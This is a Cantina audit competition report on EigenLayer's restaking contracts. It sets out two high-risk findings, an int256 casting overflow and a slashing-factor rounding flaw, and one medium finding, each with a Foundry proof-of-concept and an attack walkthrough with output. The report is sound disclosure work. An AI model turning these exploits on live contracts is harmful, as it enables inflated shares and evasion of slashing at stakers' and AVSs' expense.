CANTINA

# Eigenlayer
## Competition

July 8, 2025

# Contents

# 1 Introduction

## 1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

## 1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

## 1.3 Risk assessment

| Severity | Description |
|---|---|
| **High** | *Must* fix as soon as possible (if already deployed) and can be triggered by any user without significant constraints, generating outsized returns to the exploiter. For example: loss of user funds (significant amount of funds being stolen or lost) or breaking core functionality (failure in fundamental protocol operations). |
| **Medium** | Global losses <10% or losses to only a subset of users, requiring significant constraints (capital, planning, other users...) to be exploited. For example: temporary disruption or denial of service (DoS), minor fund loss or exposure or breaking non-core functionality |
| **Low** | Losses will be annoying but easily recoverable, requiring unusual scenarios or admin actions to be exploited. |
| **Gas Optimization** | Suggestions around gas saving practices. |
| **Informational** | Suggestions around best practices or readability. |

### 1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above matrix. High severity findings represent the most critical issues that must be addressed immediately, as they either have high impact and high likelihood of occurrence, or medium impact with high likelihood.

Medium severity findings represent issues that, while not immediately critical, still pose significant risks and should be addressed promptly. These typically involve scenarios with medium impact and medium likelihood, or high impact with low likelihood.

Low severity findings represent issues that, while not posing immediate threats, could potentially cause problems in specific scenarios. These typically involve medium impact with low likelihood, or low impact with medium likelihood.

Lastly, some findings might represent improvements that don't directly impact security but could enhance the codebase's quality, readability, or efficiency (Gas and Informational findings).

# 2 Security Review Summary

EigenLayer is a protocol built on Ethereum that introduces restaking, a new primitive in cryptoeconomic security.

From Mar 7th to Mar 28th Cantina hosted a competition based on eigenlayer-contracts. The participants identified a total of **31** issues in the following risk categories:

- High Risk: 2
- Medium Risk: 3
- Low Risk: 13
- Gas Optimizations: 0
- Informational: 13

The present report only outlines the **high** and **medium** risk issues.

# 3 Findings

## 3.1 High Risk

### 3.1.1 Casting overflow in `EigenPodManager::removeDepositShares()` causes operators to participate with no backing ETH

*Submitted by Hunter, also found by typicalHuman, elhaj, 0xeix, rzizah, infect3d and p3nc1l*

**Severity:** High Risk

**Context:** *(No context files were provided by the reviewer)*

**Summary:** Casting overflow in `EigenPodManager::removeDepositShares()` allows that attack to have `podOwnerDepositShares` non packed by any ETH, making any slashing act on him useless and makes his malicious activity on AVS to have no risks.

**Finding Description:** The vulnerability occurs in the queueWithdrawals function when processing withdrawals for beacon chain ETH strategy. The `EigenPodManager` tracks shares using `int256`, but the withdrawal amount is processed as `uint256`. When a withdrawal amount larger than type(int256).max is submitted, it causes the submitted amount to overflow to a negative amounts here.

```
File: EigenPodManager.sol
153:         int256 updatedShares = podOwnerDepositShares[staker] - int256(depositSharesToRemove);
```

then when calculating `updatedShares` by negating from the negative overflowed number it will be a big positive number (negating a negative number). The problem is that in `DelegationManager::queueWithdrawals()` it was assumed that calls will revert on arithmetic overflows (user negating more shares than he has).

```
File: DelegationManager.sol
180:     function queueWithdrawals(
191:             // Remove shares from staker's strategies and place strategies/shares in queue.
192:             // If the staker is delegated to an operator, the operator's delegated shares are also reduced
193:             // NOTE: This will fail if the staker doesn't have the shares implied by the input parameters.
194:             // The view function getWithdrawableShares() can be used to check what
```

This is true for cases with strategyManagers, cause they track shares in uint256, unlike the `EigenPodManager` that unsafely casts to `int256`. Notice that iam aware of the fact that if the withdrawal got completed as shares (no way for it to be taken as token) the overflow will happen in `EigenPodManager::_addShares()` and it will revert.

```
File: EigenPodManager.sol
258:     function _addShares(address staker, uint256 shares) internal returns (uint256, uint256) {
259:         require(staker != address(0), InputAddressZero());
260:         require(int256(shares) >= 0, SharesNegative());
```

But the point is that we never want to complete it, we manipulated the shares amount in the storage already, and no one can force complete it on me due to this check.

```
File: DelegationManager.sol
548:         require(msg.sender == withdrawal.withdrawer, WithdrawerNotCaller());
```

Now after the overflow happens and the storage variable of that staker be in trillions, he can call `DelegationManager::registerAsOperator()`, cause he has to be not delegated to any one so that we don't revert during the flow of `queueWithdrawals()`.

```
File: DelegationManager.sol
460:     function _removeSharesAndQueueWithdrawal(
485:             // Remove delegated shares from the operator
486:             if (operator != address(0)) {
492:                 // forgefmt: disable-next-item
493:                 _decreaseDelegation({
494:                     operator: operator,
495:                     staker: staker,
496:                     strategy: strategies[i],
497:                     sharesToDecrease: withdrawableShares[i]
498:                 });
499:             }
// ......................

674:     function _decreaseDelegation(
675:         address operator,
676:         address staker,
677:         IStrategy strategy,
678:         uint256 sharesToDecrease
679:     ) internal {
680:         // Decrement operator shares
681:         operatorShares[operator][strategy] -= sharesToDecrease;
682:         emit OperatorSharesDecreased(operator, staker, strategy, sharesToDecrease);
683:     }
```

in Line 681, he would have underflowed the operator shares when attempting to withdraw int256.max+.

**Impact Explanation:** High. hese artificial shares could be used to:

- Manipulate voting power.
- Do malicious activity to the allocated AVS without a risk of losing any funds (shares doesn't correspond to ETH).

**Likelihood Explanation:** The likelihood is High because it doesn't require prerequisites.

**Proof of Concept:** The test demonstrates the vulnerability: paste it into `delegationUnit.t.sol`.

```
function test_queueWithdrawals_overflowVulnerability() public {
    // Initial setup - give the staker some shares in EigenPodManager
    uint256 initialShares = 32e18;
    cheats.prank(address(delegationManagerMock));
    eigenPodManagerMock.setPodOwnerShares(defaultStaker, int256(initialShares));

    // Verify initial shares
  assertEq(eigenPodManagerMock.podOwnerDepositShares(defaultStaker), int256(initialShares), "Initial shares not
↪  set correctly");

    // Create withdrawal params with amount that will cause overflow
    IStrategy[] memory strategies = new IStrategy[](1);
    strategies[0] = beaconChainETHStrategy;
    uint256[] memory sharesToWithdraw = new uint256[](1);
    sharesToWithdraw[0] = uint256(type(int256).max) + 35e18; // This will cause overflow in EigenPodManager
    QueuedWithdrawalParams[] memory queuedWithdrawalParams = new QueuedWithdrawalParams[](1);
    queuedWithdrawalParams[0] = QueuedWithdrawalParams({
        strategies: strategies,
        depositShares: sharesToWithdraw,
        __deprecated_withdrawer: address(0)
    });

    // Queue the withdrawal
    cheats.prank(defaultStaker);
    delegationManager.queueWithdrawals(queuedWithdrawalParams);

    // Check that shares in EigenPodManager have been manipulated due to overflow
    int256 sharesAfter = eigenPodManagerMock.podOwnerDepositShares(defaultStaker);
    assertTrue(sharesAfter > int256(initialShares), "Shares should have increased due to overflow");
    console.log("Initial shares:", initialShares);
    console.log("Shares after attack:", uint256(sharesAfter));
}
```

**Recommendation:** To fix this vulnerability, add validation of withdrawal amounts not to exceed `int256.max`.

### 3.1.2 Incorrect rounding in the slashing factor calculation in the `DelegationManager._getSlashingFactor` function

*Submitted by Auditten, also found by phil and hash*

**Severity:** High Risk

**Context:** DelegationManager.sol#L561-L566, DelegationManager.sol#L585-L588, DelegationManager.sol#L722

**Summary:** Incorrect rounding in the `DelegationManager._getSlashingFactor` function leads to the ability for the attacker to be slashed by the AVS for up to $[0\%; 50\%)$ of the stake without actual loses of such a stake. For the big part of such a range, the actual losses for preparing the attack are negligible comparing to the impact.

**Finding Description:** In the `DelegationManager._completeQueuedWithdrawal` function, the slashing factors are computed in the `_getSlashingFactorsAtBlock` function. For the case of `beaconChainETHStrategy`, `operatorMaxMagnitude` is multiplied by `beaconChainSlashingFactor`, leading to potential loss of precision. Later, to calculate the final amount of the tokens to withdraw, this product is multiplied by the `scaledShares` value.

The mentioned loss of precision, on its turn, leads to the slashing that has no affect on the staker's withdrawable shares. This occurs, for example, with `beaconChainSlashingFactor` $(\frac{2}{3} - \varepsilon)$ and `operatorMaxMagnitude` equal $3 \cdot 10^{-18}$: slashing of `1/3` of the operator stake leads to `operatorMaxMagnitude` become equal to $2 \cdot 10^{-18}$, while the calculated slashing factor changes from $(\frac{2}{3} - \varepsilon) \cdot 3 \cdot 10^{-18} = 2 \cdot 10^{-18} - \varepsilon \xrightarrow{\text{rounding}} 10^{-18}$ to $(\frac{2}{3} - \varepsilon) \cdot 2 \cdot 10^{-18} = \frac{4}{3} \cdot 10^{-18} - \varepsilon \xrightarrow{\text{rounding}} 10^{-18}$ which are exactly equal.

Generally, mentioned loss of precision happens when:

$$\begin{aligned}\lfloor \texttt{beaconChainSlashingFactor} \cdot \texttt{operatorMaxMagnitude}_{\texttt{before\_AVS\_slashing}} \cdot 10^{18} \rfloor = \\ \lfloor \texttt{beaconChainSlashingFactor} \cdot \texttt{operatorMaxMagnitude}_{\texttt{after\_AVS\_slashing}} \cdot 10^{18} \rfloor\end{aligned}$$

In such case, attacker can be slashed by AVS by the factor:

$$\frac{\texttt{operatorMaxMagnitude}_{\texttt{before\_AVS\_slashing}} - \texttt{operatorMaxMagnitude}_{\texttt{after\_AVS\_slashing}}}{\texttt{operatorMaxMagnitude}_{\texttt{before\_AVS\_slashing}}}$$

without losing any slashed funds.

Suppose attacker wants to attack `AVS`, and such attack will slash the operator by the ratio $\frac{\text{NUM}}{\text{DEN}}$ (this value has to be smaller than $0.5$). The following scenario shows how to do such attack so that the actual slashing will not be applied. Let's denote by AMOUNT the total amount attacker plans to stake into this `AVS`.

1. Attacker creates two accounts: `staker` and `operator`.
2. Attacker creates fake `AVS`. Using such a fully controllable `AVS`, `operator` falls under slash event with new magnitude equal to $\text{DEN} \cdot 10^{-18}$.
3. `staker` gets slashed on Beacon Chain to reduce `beaconChainSlashingFactor` to the value $\text{L} = \left(\frac{\lfloor \frac{\text{DEN}-1}{\text{NUM}} \rfloor}{\text{DEN}} - \varepsilon\right)$. Detailed instructions on how to do this are written in a separate section.
4. `staker` delegates to the `operator` and deposits AMOUNT `ETH` to the EigenLayer.
5. `operator` registers for the real `AVS`.
6. `operator` executes an attack against the real `AVS`, that should lead to the slashing of up to the $\frac{\text{NUM}}{\text{DEN}}$ part of the stake.
7. Immediately after step 6 (while `AVS` didn't perform slashing yet), `staker` requests the withdrawal of the full stake of AMOUNT `ETH`. It is possible for the attacker to use MEV, to ensure that this step will be performed before the slashing is applied.
8. `AVS` slashes the `operator` and, sequentially, the `staker`, with magnitude multiplier of such a slashing equal to $\frac{\text{NUM}}{\text{DEN}}$.

9. After `MIN_WITHDRAWAL_DELAY_BLOCKS` `attacker` completes the withdrawal of the AMOUNT `ETH`. Here, `attacker` withdraws exactly the same amount as deposited because values $L \cdot DEN$ and $L \cdot NUM$ are equal after rounding.

As the result, attack against arbitrary `AVS` was performed, with "slashed" amount being $\frac{NUM}{DEN}$ part of the stake, while the real slashing was not performed.

Such an attack later can be repeated against other `AVS`s -- all the atacker needs is to delegate to a newly created fresh `operator`, with the same initial `magnitude` value as used in the described scenario.

How to get slashed on Beacon Chain to reduce `beaconChainSlashingFactor` to the given value L: Let `cycle(X)` be the sequence of the following actions:

- Sequentially repeated X times the following:
  - `staker` creates a fresh Beacon Chain validator with a deposit of $32$ `ETH`.
  - `staker` activates such a newly created validator in `EigenPod` corresponding to him.
  - The new validator falls under shashing event on the Beacon Chain, leading to loss of $1$ `ETH` of stake.
  - `staker` starts a checkpoint and proves all active validators.
- Because of such actions, `BeaconChainSlashingFactor` of the `staker` is multiplied by $\prod_{i=1}^{X}(\frac{31 \cdot i}{31 \cdot i+1})$.
  - Request withdrawal of $31 \cdot X$ `ETH` from the EigenLayer.
  - Wait $36$ days for the $31 * X$ `ETH` to be withdrawn from the Beacon Chain.
  - Withdraw the $31 \cdot X$ `ETH` from the EigenLayer.

Sequentially repeat `cycle(X)` P times. Because of such actions, `BeaconChainSlashingFactor` of the `staker` is equal $\left(\prod_{i=1}^{X}(\frac{31 \cdot i}{31 \cdot i+1})\right)^{P}$. The values of X and P should be chosen in a way, such that is value is equal to L.

It is notable, that there is no need to wait the last $36$ days window to move to the step 4 of the "Attack scenario" section.

In total, the attacker lost $(X \cdot P)$ `ETH` and used to wait for $(36 \cdot (P-1))$ days.

Examples of possible attack configurations: The table of few possible tuples of parameters $(NUM, DEN, X, P)$ for the attack preparation and resources it takes:

| NUM | DEN | Stake to be "slashed" | X | P | ETH required | Attacker losses (in ETH) | Time |
|---|---|---|---|---|---|---|---|
| 1 | 3 | up to $33.3\%$ | 1 | 13 | 44 | 13 | 432 days $\approx$ 1.18 years |
| 1 | 3 | up to $33.3\%$ | 7 | 5 | 252 | 35 | 144 days $\approx$ 0.4 years |
| 1 | 3 | up to $33.3\%$ | 38 | 3 | 1292 | 114 | 72 days |
| 1 | 3 | up to $33.3\%$ | 309 | 2 | 10197 | 618 | 36 days |
| 1 | 4 | up to $25\%$ | 50 | 2 | 1650 | 100 | 36 days |
| 1 | 5 | up to $20\%$ | 18 | 2 | 594 | 36 | 36 days |
| 1 | 5 | up to $20\%$ | 582 | 1 | 18624 | 582 | 0 days |
| 1 | 8 | up to $12.5\%$ | 36 | 1 | 1152 | 36 | 0 days |
| 10 | 21 | up to $47.61\%$ | 250 | 12 | 10750 | 3000 | 396 days  1.09 years |
| 50 | 101 | up to $49.5\%$ | 21 | 34 | 1365 | 714 | 1188 days  3.25 years |

**Impact Explanation:** High - attacker can attack any number of `AVS`s using arbitrarily great stake AMOUNT, with ability to be slashed in each attack for up to $[0\%; 50\%)$ of the stake, while the actual slashing is not performed.

**Likelihood Explanation:** High - the actual losses for preparing the attack with slashing of up to 35% are negligible comparing to the impact, and should be acceptable for anyone with big enough stake. To perform attacks with bigger slashes the attacker needs to waste more money and/or time resources.

**Proof of Concept:** The following proof of concept simulates the described attack scenario. Constants `NUM`, `DEN` and `AMOUNT` can be tweaked to explore behavior with different slashing ratios and stake amounts.

```
pragma solidity ^0.8.27;

import "src/test/integration/mocks/BeaconChainMock.t.sol";
import "src/test/integration/IntegrationChecks.t.sol";

contract FreeSlashing is IntegrationCheckUtils {

    function array_IStrategy(IStrategy arr0) internal returns (IStrategy[] memory arr) { arr = new
    ↪  IStrategy[](1); arr[0] = arr0; }
    function array_OperatorSet(OperatorSet memory arr0) internal returns (OperatorSet[] memory arr) { arr =
    ↪  new OperatorSet[](1); arr[0] = arr0; }
    function array_uint64(uint64 arr0) internal returns (uint64[] memory arr) { arr = new uint64[](1); arr[0]
    ↪  = arr0; }
    function array_uint256(uint256 arr0) internal returns (uint256[] memory arr) { arr = new uint256[](1);
    ↪  arr[0] = arr0; }
    function array_address(address arr0) internal returns (address[] memory arr) { arr = new address[](1);
    ↪  arr[0] = arr0; }

    User public staker;
    User public operator;
    AVS public fakeAvs;
    AVS public victimAvs;

    function logNumbers() internal {
        console.log("deposit shares               = %e",
        ↪  uint256(eigenPodManager.podOwnerDepositShares(address(staker))));
        console.log("deposit scaling factor       = %e",
        ↪  uint256(delegationManager.depositScalingFactor(address(staker), beaconChainETHStrategy)));
        console.log("beacon chain slashing factor = %e",
        ↪  uint256(eigenPodManager.beaconChainSlashingFactor(address(staker))));
        console.log("max magnitude                = %e",
        ↪  uint256(allocationManager.getMaxMagnitude(address(operator), beaconChainETHStrategy)));
        (uint256[] memory withdrawableShares, ) = delegationManager.getWithdrawableShares(address(staker),
        ↪  array_IStrategy(beaconChainETHStrategy));
        console.log("withdrawable shares          = %e", uint256(withdrawableShares[0]));
        console.log("operator shares              = %e",
        ↪  uint256(delegationManager.operatorShares(address(operator), beaconChainETHStrategy)));
    }

    uint256 constant NUM = 1;
    uint256 constant DEN = 3;
    uint256 constant AMOUNT = 1e6 ether;

    function test() external {
        staker = new User("staker");
        operator = new User("operator");
        fakeAvs = new AVS("fakeAvs");
        victimAvs = new AVS("victimAvs");

        uint256 L = (DEN - 1) / NUM * WAD / DEN - 1;
        console.log("calculated beacon chain slashing factor = %e", L);

        console.log("1-2. Operator with no shares registers into fake AVS and gets slashed so that max
        ↪  magnitude = DEN.");

        operator.registerAsOperator();
        vm.roll(vm.getBlockNumber() + ALLOCATION_CONFIGURATION_DELAY + 2);
        fakeAvs.updateAVSMetadataURI("AVSMetadataURI");
        OperatorSet memory fakeOperatorSet = fakeAvs.createOperatorSet(array_IStrategy(beaconChainETHStrategy));
        operator.registerForOperatorSets(array_OperatorSet(fakeOperatorSet));
        operator.modifyAllocations(AllocateParams(fakeOperatorSet, array_IStrategy(beaconChainETHStrategy),
        ↪  array_uint64(uint64(1e18 - DEN))));
        vm.roll(vm.getBlockNumber() + 2);
        fakeAvs.slashOperator(SlashingParams(
            address(operator),
            fakeOperatorSet.id,
            array_IStrategy(beaconChainETHStrategy),
            array_uint256(1e18),
            "description"
        ));

        logNumbers();
```

```
        console.log("3. Staker deposits into beacon chain and gets slashed so that beacon chain slashing factor
        ↪  = L, then queues withdrawal.");

        (uint40[] memory validatorIndices, uint64 beaconChainDeposit) = staker.startValidators(1);
        assertEq(validatorIndices.length, 1);
        assertEq(beaconChainDeposit, 32 ether / 1 gwei);
        beaconChain.advanceEpoch();
        staker.verifyWithdrawalCredentials(validatorIndices);
        beaconChain.slashValidators(validatorIndices, uint64((32 ether - 32 ether * L / WAD) / 1 gwei + 10));
        beaconChain.advanceEpoch();
        staker.startCheckpoint();
        staker.completeCheckpoint();

        Withdrawal[] memory withdrawals1 = staker.queueWithdrawals(array_IStrategy(beaconChainETHStrategy),
        ↪  array_uint256(uint256(eigenPodManager.podOwnerDepositShares(address(staker)))));
        console.log("withdrawn amount             = %e", address(staker).balance);

        logNumbers();

        console.log("4. Staker delegates to operator and deposits AMOUNT ETH into beacon chain strategy.");

        staker.delegateTo(operator);

        vm.deal(address(staker.pod()), address(staker.pod()).balance + AMOUNT);
        beaconChain.advanceEpoch();
        staker.startCheckpoint();

        logNumbers();

        console.log("5. Operator registers into victim AVS with slashable magnitude = NUM.");

        victimAvs.updateAVSMetadataURI("AVSMetadataURI");
        OperatorSet memory victimOperatorSet =
        ↪  victimAvs.createOperatorSet(array_IStrategy(beaconChainETHStrategy));
        operator.registerForOperatorSets(array_OperatorSet(victimOperatorSet));
        operator.modifyAllocations(AllocateParams(victimOperatorSet, array_IStrategy(beaconChainETHStrategy),
        ↪  array_uint64(uint64(NUM))));
        vm.roll(vm.getBlockNumber() + 2);

        logNumbers();
        console.log("slashable stake              = %e",
        ↪  allocationManager.getMinimumSlashableStake(victimOperatorSet, array_address(address(operator)),
        ↪  array_IStrategy(beaconChainETHStrategy), uint32(vm.getBlockNumber()))[0][0]);

        console.log("6-7. Operator attacks victim AVS and staker immediately queues withdrawal.");

        Withdrawal[] memory withdrawals2 = staker.queueWithdrawals(array_IStrategy(beaconChainETHStrategy),
        ↪  array_uint256(uint256(eigenPodManager.podOwnerDepositShares(address(staker)))));

        logNumbers();

        console.log("8. Victim AVS slashes operator.");

        victimAvs.slashOperator(SlashingParams(
            address(operator),
            victimOperatorSet.id,
            array_IStrategy(beaconChainETHStrategy),
            array_uint256(1e18),
            "description"
        ));

        logNumbers();

        console.log("9. Staker completes both withdrawals.");

        vm.roll(vm.getBlockNumber() + delegationManager.minWithdrawalDelayBlocks() + 2);
        staker.completeWithdrawalsAsTokens(withdrawals1);
        staker.completeWithdrawalsAsTokens(withdrawals2);

        console.log("total withdrawn amount       = %e", address(staker).balance);
    }
}
```

Save this PoC to file `src/test/integration/tests/PoC/FreeSlashing.t.sol` and run command `forge test --mc FreeSlashing -vv`. It will output the following logs (some of them are removed for brevity):

```
calculated beacon chain slashing factor = 6.66666666666666665e17

1-2. Operator with no shares registers into fake AVS and gets slashed so that max magnitude = DEN.
operator.registerAsOperator()
fakeAvs.updateAVSMetadataURI()
fakeAvs.createOperatorSets()
Creating operator sets:
   operatorSet0:
      strategy0: 0xbeaC0eeEeeeeEEeEeEEEEeeEEeEeeeEeeEEBEaC0
operator.registerForOperatorSet({avs: fakeAvs, operatorSetId: 0})
operator.modifyAllocations({avs: fakeAvs, operatorSetId: 0})
fakeAvs.slashOperator({operator: operator, operatorSetId: 0, strategy: Native ETH, wadToSlash:
↪  1.000000000000000000 wad})
deposit shares               = 0e0
deposit scaling factor       = 1e18
beacon chain slashing factor = 1e18
max magnitude                = 3e0
withdrawable shares          = 0e0
operator shares              = 0e0

3. Staker deposits into beacon chain and gets slashed so that beacon chain slashing factor = L, then queues
↪  withdrawal.
staker.startValidators()
- creating new validators 1
- depositing balance to beacon chain (gwei) 32000000000
staker.verifyWithdrawalCredentials()
BeaconChain.slashValidatorsAmountGwei()
   - Slashed validator 1 by 10666666676 gwei
staker.startCheckpoint()
staker.completeCheckpoint()
staker.queueWithdrawals()
withdrawn amount             = 0e0
deposit shares               = 0e0
deposit scaling factor       = 1e18
beacon chain slashing factor = 6.6666666640625e17
max magnitude                = 3e0
withdrawable shares          = 0e0
operator shares              = 0e0

4. Staker delegates to operator and deposits AMOUNT ETH into beacon chain strategy.
staker.delegateTo(operator)
staker.startCheckpoint()
deposit shares               = 1e24
deposit scaling factor       = 1e36
beacon chain slashing factor = 6.6666666640625e17
max magnitude                = 3e0
withdrawable shares          = 1e24
operator shares              = 1e24

5. Operator registers into victim AVS with slashable magnitude = NUM.
victimAvs.updateAVSMetadataURI()
Setting AVS metadata URI to: AVSMetadataURI
victimAvs.createOperatorSets()
Creating operator sets:
   operatorSet0:
      strategy0: 0xbeaC0eeEeeeeEEeEeEEEEeeEEeEeeeEeeEEBEaC0
operator.registerForOperatorSet({avs: victimAvs, operatorSetId: 0})
operator.modifyAllocations({avs: victimAvs, operatorSetId: 0})
deposit shares               = 1e24
deposit scaling factor       = 1e36
beacon chain slashing factor = 6.6666666640625e17
max magnitude                = 3e0
withdrawable shares          = 1e24
operator shares              = 1e24
slashable stake              = 3.33333333333333333e23

6-7. Operator attacks victim AVS and staker immediately queues withdrawal.
staker.queueWithdrawals()
deposit shares               = 0e0
deposit scaling factor       = 1e18
beacon chain slashing factor = 6.6666666640625e17
max magnitude                = 3e0
withdrawable shares          = 0e0
operator shares              = 0e0
```

```
8. Victim AVS slashes operator.
victimAvs.slashOperator({operator: operator, operatorSetId: 0, strategy: Native ETH, wadToSlash:
↪  1.000000000000000000 wad})
deposit shares               = 0e0
deposit scaling factor       = 1e18
beacon chain slashing factor = 6.6666666640625e17
max magnitude                = 2e0
withdrawable shares          = 0e0
operator shares              = 0e0

9. Staker completes both withdrawals.
staker.completeWithdrawalsAsTokens()
staker.completeWithdrawalsAsTokens()
total withdrawn amount       = 1.000021333333325e24

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 63.55ms (45.15ms CPU time)
```

**Recommendation:** Rounding error happens because of the following calculation: `someValue * (beaconChainSlashingFactor * maxMagnitude)` where both `beaconChainSlashingFactor` and `maxMagnitude` may be very small values while `someValue` is usually big (if `someValue` is small then the whole expression will be small too). Replace all such calculations with `(someValue * beaconChainSlashingFactor) * maxMagnitude`. Similarly, replace `someValue / (beaconChainSlashingFactor * maxMagnitude)` with `(someValue / beaconChainSlashingFactor) / maxMagnitude`.

## 3.2 Medium Risk

### 3.2.1 Any undeposited Eth in Eigen Pod might incur any Slashing before they are deposited into the Eigen Pod Manager

*Submitted by Aamirusmani1552*

**Severity:** Medium Risk

**Context:** EigenPodManager.sol#L122

**Description:** One way to increase the restaked balance of an EigenPod is by directly depositing ETH into it. However, this ETH is not accounted for until a new checkpoint is initiated. Once the checkpoint is processed, the deposited ETH is reflected in the `restakedExecutionLayerGwei` balance.

Typically, newly deposited ETH should not incur slashing penalties for past events. Throughout the codebase, this is ensured by updating the deposit scaling factor to adjust the user's balance accordingly. However, an edge case exists where newly deposited ETH may still be subjected to at least AVS-level slashing.

When token balance changes occur on the beacon chain, such as through slashings, `EigenPod::startCheckpoint(...)` can be called by the owner or proof submitter to account for these changes. During this checkpoint, any unstaked ETH in the EigenPod is also considered:

```
function _startCheckpoint(
        bool revertIfNoBalance
    ) internal {
        require(currentCheckpointTimestamp == 0, CheckpointAlreadyActive());

        // ...

        require(lastCheckpointTimestamp != uint64(block.timestamp), CannotCheckpointTwiceInSingleBlock());

        // ...

          uint64 podBalanceGwei = uint64(address(this).balance / GWEI_TO_WEI) - restakedExecutionLayerGwei; //
          ↪  <<<

        if (revertIfNoBalance && podBalanceGwei == 0) {
            revert NoBalanceToCheckpoint();
        }

        Checkpoint memory checkpoint = Checkpoint({
            beaconBlockRoot: getParentBlockRoot(uint64(block.timestamp)),
            proofsRemaining: uint24(activeValidatorCount),
              podBalanceGwei: podBalanceGwei, // <<<
            balanceDeltasGwei: 0,
            prevBeaconBalanceGwei: 0
        });
```

Once the proofs for the current checkpoint are verified, the updated balance is added to the EigenPod to generate new shares. This process is managed by calling `EigenPodManager::recordBeaconChainETHBalanceUpdate(...)`, which updates the balance and previously staked amounts. Within `recordBeaconChainETHBalanceUpdate(...)`, the function handles both positive and negative balance deltas:

```
function recordBeaconChainETHBalanceUpdate(
    address podOwner,
    uint256 prevRestakedBalanceWei,
    int256 balanceDeltaWei
) external onlyEigenPod(podOwner) nonReentrant {

    // ...

    if (balanceDeltaWei > 0) {

     // ...

    } else if (balanceDeltaWei < 0) {
        uint64 beaconChainSlashingFactorDecrease = _reduceSlashingFactor({
            podOwner: podOwner,
            prevRestakedBalanceWei: prevRestakedBalanceWei,
            balanceDecreasedWei: uint256(-balanceDeltaWei)
        });

        delegationManager.decreaseDelegatedShares({
            staker: podOwner,
            curDepositShares: uint256(currentDepositShares),
            beaconChainSlashingFactorDecrease: beaconChainSlashingFactorDecrease
        });
    }
```

The issue arises in the second case, where a negative balance delta is detected. Even if there is an undeposited balance in the EigenPod, the balance delta may still be negative due to beacon chain slashing. If the undeposited ETH balance is lower than the slashed ETH amount, this condition is triggered. While newly deposited ETH correctly handles beacon chain slashing (as shown in the proof of concept), it does not account for previous AVS-level slashing, resulting in new shares being slashed.

Now there is another case where this slashing still applies. That is when the user's new deposited balance and any slashed amount cancel each others out completely. In this case, no condition from both of them will be triggered. But user's new balance still get's slashed.

**Proof of Concept:**

1. Add the test case to `DualSlashing.t.sol`.

2. In `User.t.sol`, make the following variables public:

```
DelegationManager public delegationManager;
StrategyManager public strategyManager;
EigenPodManager public eigenPodManager;
TimeMachine public timeMachine;
BeaconChainMock public beaconChain;
```

3. In `BeaconChainMock.t.sol`, add a new `SlashType`:

```
enum SlashType {
    Minor,
    Half,
    Full,
    Custom // A custom amount of gwei
}
```

4. Update `slashValidators(...)` to handle the new slash type:

```
if (_slashType == SlashType.Minor) slashAmountGwei = MINOR_SLASH_AMOUNT_GWEI;
else if (_slashType == SlashType.Half) slashAmountGwei = curBalanceGwei / 2;
else if (_slashType == SlashType.Full) slashAmountGwei = curBalanceGwei;
else if (_slashType == SlashType.Custom) slashAmountGwei = uint64(curBalanceGwei / 4);
```

```
contract MyTests is Integration_DualSlashing_Base {
    using ArrayLib for *;

    SlashingParams slashingParams;

    function _init() internal virtual override {
        super._init();

        // 6. Slash operator by AVS
        slashingParams = _genSlashing_Rand(operator, operatorSet);
        slashingParams.wadsToSlash[0] = 0.5 ether;
        avs.slashOperator(slashingParams);
        check_Base_Slashing_State(operator, allocateParams, slashingParams);
        assert_Snap_Allocations_Slashed(slashingParams, operatorSet, true, "operator allocations should be
        ↪  slashed");
        assert_Snap_Unchanged_Staker_DepositShares(staker, "staker deposit shares should be unchanged after
        ↪  slashing");
        assert_Snap_StakerWithdrawableShares_AfterSlash(
            staker, allocateParams, slashingParams, "staker withdrawable shares should be slashed"
        );
    }

    function test_checking0() public rand(3232) {
        // get the deposit shares
        console.log("deposited shares: ", staker.eigenPodManager().stakerDepositShares(address(staker),
        ↪  staker.beaconChainETHStrategy()));

        // get the withdrawable shares
        (uint256[] memory withdrawableShares, uint256[] memory depositShares) =
        ↪  staker.delegationManager().getWithdrawableShares(address(staker),
        ↪  staker.beaconChainETHStrategy().toArray());
        console.log("Withdrawable shares: ", withdrawableShares[0]);


        // 7. Slash Staker on BC
        uint64 slashedAmountGwei = beaconChain.slashValidators(validators, BeaconChainMock.SlashType.Custom);
        beaconChain.advanceEpoch_NoWithdrawNoRewards();

        staker.startCheckpoint();
        staker.completeCheckpoint();

        // slash him again
        slashedAmountGwei = beaconChain.slashValidators(validators, BeaconChainMock.SlashType.Half);
        beaconChain.advanceEpoch_NoWithdrawNoRewards();

        // get the restaked amount from the eigenPod
        console.log("previous restaked amount: ", staker.pod().withdrawableRestakedExecutionLayerGwei());

        console.log("logs after adding balance to the pod:");
        console.log("pod balance before adding balance: ", address(staker.pod()).balance);
```

```
        cheats.deal(address(this), 128 ether);
        address(staker.pod()).call{value: 47 ether}("");
        // 8. Checkpoint
        staker.startCheckpoint();
        staker.completeCheckpoint();

        // get the deposit scaling factor before verificaiton
        console.log("deposit scaling factor: ",
        ↪  staker.delegationManager().depositScalingFactor(address(staker), staker.beaconChainETHStrategy()));

        // get the deposit scaling factor
        console.log("Operator max magnitude: ", staker.allocationManager().getMaxMagnitude(address(operator),
        ↪  staker.beaconChainETHStrategy()));

        // get the beacon chain slashing factor
        console.log("beacon chain slashing factor: ",
        ↪  staker.eigenPodManager().beaconChainSlashingFactor(address(staker)));

        // get the restaked amount from the eigenPod
        console.log("new restaked amount: ", staker.pod().withdrawableRestakedExecutionLayerGwei());

        // get the deposit shares
        console.log("deposited shares: ", staker.eigenPodManager().stakerDepositShares(address(staker),
        ↪  staker.beaconChainETHStrategy()));

        // get the withdrawable shares
        (withdrawableShares, depositShares) =
        ↪  staker.delegationManager().getWithdrawableShares(address(staker),
        ↪  staker.beaconChainETHStrategy().toArray());
        console.log("Withdrawable shares: ", withdrawableShares[0]);

        // get the deposit scaling factor
        console.log("deposit scaling factor: ",
        ↪  staker.delegationManager().depositScalingFactor(address(staker), staker.beaconChainETHStrategy()));
    }

    function test_checking1() public rand(3232) {
        // get the deposit shares
